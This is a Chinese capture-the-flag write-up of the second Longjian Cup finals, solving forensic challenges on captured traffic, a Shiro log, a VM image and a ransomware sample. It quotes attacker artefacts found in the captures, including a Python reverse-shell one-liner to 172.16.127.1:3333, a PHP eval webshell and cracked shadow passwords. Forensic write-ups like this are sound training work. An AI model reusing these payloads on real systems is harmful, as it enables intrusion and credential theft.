第二届陇剑杯线下赛部分WP

admin 2023年10月14日01:46:45评论20 views字数 5429阅读18分5秒阅读模式
第二届陇剑杯线下赛部分WP

半决赛

soeasy

抓的是一个 FTP 传文件的流量。

登录的密码是多少?,提交md5小写

直接追踪一手 TCP 流,第二流就是登录的内容,密码就是 test

第二届陇剑杯线下赛部分WP

被加密的字符串是多少?

第 7 流给出了 RSA 的私钥文件(保存为 rsa_d.txt)

第二届陇剑杯线下赛部分WP

7.png)

第 11 流给出了加密代码

第二届陇剑杯线下赛部分WP

第 13 流给出了加密数据(原始数据视图),

第二届陇剑杯线下赛部分WP

编写解密代码

from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

data = bytes.fromhex('4ed9959849916f5a53206967cde72416f3ecad8767fe37f8847320cf0d2e6b3bc615d91b64650a49b9be86eb33f105ff2aa46db7350966e7733c7b24aa9f96b882aaa4de57d7fc688a2900849417594beebd8f9d25a617bc77b922bed5744699241d178e0b5e61754b49800267cf1332f19e65d9db1cfd1522be65b42065f7bcf95cef926000571bb06a304ef383e18a7728ff1ec68277bfbd451f6e7c988f67dd2a4a26787f7b471f663b2cdccf762e300a54ce14920b3fbc3bffed3ab1bbedd9ae00ebdc9a0dc339bd2e16d82c3657325ef854cc39e2a5db0f3a1731818ee5f4318afc504852e0e0d756bfc378f02246f60aa49f4e55809686542130b61662')

def encrypt_message(message, public_key_path):
    with open(public_key_path, 'rb'as f:
        public_key = RSA.import_key(f.read())
        cipher = PKCS1_OAEP.new(public_key)
        encrypted_message = cipher.encrypt(message.encode())
        return encrypted_message

def decrypt_message(message, public_key_path):
    with open(public_key_path, 'rb'as f:
        public_key = RSA.import_key(f.read())
        cipher = PKCS1_OAEP.new(public_key)
        encrypted_message = cipher.decrypt(message)
        return encrypted_message

print(decrypt_message(data,"rsa_d.txt"))

得到 b'8dhn3edfna93rAPN'

图片中隐藏的数字是多少?

第 5 流有一个压缩包,保存下来

第二届陇剑杯线下赛部分WP

里头有一个 11.bmp

第二届陇剑杯线下赛部分WP

把高度调高一点

第二届陇剑杯线下赛部分WP

得到

第二届陇剑杯线下赛部分WP

淦,哪里是头啊,比赛试了2301040,试了3010402,,5次机会用完了也不对。赛后问了贝塔,才知道不是改高度,是改位深,把16改成24!

第二届陇剑杯线下赛部分WP

得到

第二届陇剑杯线下赛部分WP

1 和 2 叠起来了以为是 4,测!

session

抓的是一个通过注入获得管理员账号密码,后台 getshell 的一个流量记录。

通过注入得到的username是?

过滤查看 http 协议 ,发现后面是大块差不多的 http 请求,推测应该是盲注,我们直接看登录成功部分找结果

第二届陇剑杯线下赛部分WP

提交 adminadmin1I1,好,是错的,实际上注入出来的是 adminadmin111,虽然前面注入部分看不出注入者是如何判断的,但是注入者在得到正确字符后就会爆破下一个字符,因此我们可以根据 index 的变化来判定(变化的前一个字符是正确)。

除了 root 用户,还有哪个用户含有root权限?

在第2043流找到,test 的用户标识号是 0,所以它有 root 权限。

第二届陇剑杯线下赛部分WP

通过 debug 读取的哪个文件没有找到(绝对路径)

在第 2040 流找到:/etc/1

第二届陇剑杯线下赛部分WP

通过什么命令反弹的shell,提交md5小写

在第2046流里看到

第二届陇剑杯线下赛部分WP

因此就是 import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh") 的md5值

easy_shiro

给了一个日志文件,主要看到最后三条

第二届陇剑杯线下赛部分WP

请给出该应用 shiro key

拿到这题一脸懵逼,好在队友本地有工具:BlueTeamToolsV0.58

拿这上述框框里第一条数据的 rememberMe 的内容贴进去

第二届陇剑杯线下赛部分WP

因此 shiro key 就是 4AvVhmFLUs0KTA3Kprsdag==

溯源攻击者的操作,其中有flag

拿着上述框框里第二条数据的后半部分内容

第二届陇剑杯线下赛部分WP

是一个 java class 文件,保存一下用jd gui 看看(直接用 cyberchef 保存好像会报错,这里我用 python 解码再保存的)

第二届陇剑杯线下赛部分WP


第二届陇剑杯线下赛部分WP

有一个密钥 eac9fa38330a7535,还提到了 AES,就用 AES 解密一下log 文件里最后一行的数据

第二届陇剑杯线下赛部分WP

有一个flag,提交,错误!提交给第三题,正确!(难崩)

那么第二问的东西应该是在第一条log或者第二条log搞出来的序列化传儿里。这个一直到比赛结束也没搞出来,赛后复现的时候问了贝塔

要用到工具:SerializationDumper-Shiro.jar

java -jar SerializationDumper-Shiro.jar -s "第一条log的rememberMe"

第二届陇剑杯线下赛部分WP

然后反编译 bytecodes.class

第二届陇剑杯线下赛部分WP

根据代码,将 var21 的数组内容异或 21 再拼接

var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113, 118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55]
print("".join(chr(i^21) for i in var21))

得到 cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"

攻击者植入了内存webshell,使用这个webshell做了什么,其中有flag

在解第二问的时候解出来了。

第二届陇剑杯线下赛部分WP

决赛

win

小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt,打开虚拟机的密码是多少?

好,直接坐牢,没有爆破工具,一整套题都没法做,好在主办方在中午的时候给了一个只有 500 个密码的字典,最后我手撸出来了密码 somewhere,这里用工具复现一下,需要解密的文件是  Windows 7 x64.vmx

第二届陇剑杯线下赛部分WP

需要的工具是 pyvmx-cracker,但是直接用会报错,因为

第二届陇剑杯线下赛部分WP

它检查的是第三行,emmm,给他改成 3。后面读字典还会报错 UnicodeDecodeError: 'gbk' codec can't decode byte 0x85 in position 5716: illegal multibyte sequence,emmm,再改下

第二届陇剑杯线下赛部分WP

运行好一会得到:

第二届陇剑杯线下赛部分WP

xshell 链接的密码是多少?

淦,xshell 存的密码是加密的,还是要工具,赛后找到了,需要一手 [XshellCrack](Release XshellCrack 1.0 · Q16G/XshellCrack · GitHub),把这个工具放进 win7 里头(因为加密使用的参数和系统有关,所以不能把文件拖出来解密。我尝试把本机的配置文件放进去解密是失败的),直接运行就好。(没法拖,还不能安装 vmtools,想到的解决方式是用 U 盘传)

第二届陇剑杯线下赛部分WP

得到密码 123456a

登录脚本启动的程序路径是什么?

进入虚拟机后,看到这个终端上面文件的路径,就是了:c:2333.bat

第二届陇剑杯线下赛部分WP

总共访问了几次 www.baidu.com?

打开火狐,看到历史记录,点进管理历史,视图,显示列,点上访问次数,就可以看见总共访问了 www.baidu.com 10 次。

第二届陇剑杯线下赛部分WP

mid

从哪个文件获取到的后台用户名密码?

进来过滤 http 请求,好像是在目录扫描,往后拉到登录成功的部分,然后开始往上找,找到

第二届陇剑杯线下赛部分WP

解密得到 :Username:adminadmin Password:123456aA,因此获取到登录用户名密码的文件就是 robots.txt 了。

admin的密码通过哪个函数进行加密存储,答案示例 exec()

看到第 18633 条,也就是 4.txt 的内容

第二届陇剑杯线下赛部分WP

因此加密函数为 password_hash

写入的第一次的shell的连接密码是多少?

在第18086数据中看到

第二届陇剑杯线下赛部分WP

解码后是 <?php eval($_POST[1]); ?>,因此答案就是 1

用户 hack 的密码是多少?

在 18647 数据看到,

第二届陇剑杯线下赛部分WP

是一个base64编码的命令执行,解码看一下

第二届陇剑杯线下赛部分WP

粗略看一下是一堆混淆加执行了个什么命令应该,注意到这个对结果是进行了一个 rot13 的操作。

查看下面的返回

第二届陇剑杯线下赛部分WP

应该是执行了一个 whoami叭,继续往后面的返回,在第18730的数据看到应该是 /etc/shadow 的返回

第二届陇剑杯线下赛部分WP


第二届陇剑杯线下赛部分WP


拿去用john爆破一下

第二届陇剑杯线下赛部分WP

到手:qwerty

ransom

攻击者通过后门在受害机器上安装了勒索病毒,给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)

直接导出 http 对象,看到一个 test.exe,dump下来然后 sha256 一下就好了

第二届陇剑杯线下赛部分WP

勒索病毒对本地文件继续了加密,给出加密文件的数量

在 tcp 第 358 流找到(这一整块的流量没有 http 的请求,很奇怪,所以当时一直没找到,还是队友找到的)

第二届陇剑杯线下赛部分WP


第二届陇剑杯线下赛部分WP

解码得到的是加密文件的列表

第二届陇剑杯线下赛部分WP

最后一行是空的,因此一共 133 个文件被加密。

恢复被加密的 secret.txt 的内容

这个算是整场比赛最有成就感的一题了,全场只有 3 解。
刚好有一个逆向队友,通过分析 test.exe,勒索病毒的操作有:创建E://tmp.txt为key;遍历C:/Users/test/Documents下文件(会加密这个文件夹下的文件)

[API Monitor]

第二届陇剑杯线下赛部分WP

我们可以在第 23668 的数据包,发现其查看了 tmp.txt 的内容

第二届陇剑杯线下赛部分WP

dHlwZSBlOlxcdG1wLnR4dA== base64解码就是 type e:\tmp.txt

下一条数据就是对应的返回,为 464ROI2+9sM+kxbMBiaBog==,base64解码再转十六进制就是 e3ae11388dbef6c33e9316cc062681a2
然后在第 23820 的数据中,其查看了 secret.txt.enc 的内容

第二届陇剑杯线下赛部分WP

下一条数据就是对应的返回,为 P4m0zim6ISDKTc8yamhuNMqrgoCR3kB9cVFvhRvMFt0rVIS4zboCsF/Q/PLV0dH0,base64解码再转十六进制就是 3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4
有了密文和密钥,根据密钥长度是 16 字节,猜测是 aes 加密,先直接使用 ecb 模式

第二届陇剑杯线下赛部分WP

解密发现有点样子,但又不太对。试一试 cbc 模式,iv 先置零。

第二届陇剑杯线下赛部分WP

虽然结果还是有点问题,但是看到最后的填充 x06 ,可以确定就是 cbc 模式了。但是显然在使用 AES 加密前,程序还对文件进行过处理,于是让队友找了一下,发现加密前会将文件内容异或文件名。(队友在 Documents 目录下创建了一个 aaa.txt 的文件)

第二届陇剑杯线下赛部分WP


第二届陇剑杯线下赛部分WP

非常有样子了!只差一个 iv,后面队友也找到了

第二届陇剑杯线下赛部分WP

from Crypto.Util.number import *
from Crypto.Cipher import AES

key = bytes.fromhex('e3ae11388dbef6c33e9316cc062681a2')
c = bytes.fromhex('3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4')
enc = AES.new(key=key,mode = AES.MODE_CBC,iv = b'1234567890abcdef')

from pwn import xor
print(xor(enc.decrypt(c)[:-6],b"secret.txt"))

第二届陇剑杯线下赛部分WP


原文始发于微信公众号(独角鲸安全):第二届陇剑杯线下赛部分WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月14日01:46:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第二届陇剑杯线下赛部分WPhttps://cn-sec.com/archives/2101753.html

发表评论

匿名网友 填写信息